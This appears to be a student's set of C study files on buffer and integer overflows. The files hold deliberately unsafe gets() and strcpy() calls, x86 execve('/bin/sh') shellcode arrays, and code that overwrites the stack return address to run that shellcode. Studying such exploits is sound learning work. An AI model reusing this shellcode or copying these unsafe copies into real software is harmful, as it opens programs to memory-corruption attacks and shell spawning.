Some tests I made while studying buffer overflows and integer overflows

ioverflow.c

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
	char *test = argv[1];
	int tt = (int)strlen(test);
	printf("%d", tt);
	return 0;
}

overflow.c

#include <stdio.h>

int main() {
	char buffer[23];
	printf("Escreva algo... ");
	gets(buffer);
	printf("Você escreveu: %s", buffer);
	return 0; 
}

shellcode.c

/*char shellcode[] =
	"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
	"\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
*/

char shellcode[] =
	"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
	"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
	"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
	"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}

strcpy.c

#include <stdio.h>
#include <string.h>

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";

void copystring () {
	char buffer[4];
	strcpy(buffer, shellcode);
	printf("%s", buffer);
}

int main() {
	copystring();
	return 0; 
}

test.c

char shellcode[] =
	"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";
 
int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;  
	(*ret) = (int)shellcode;
}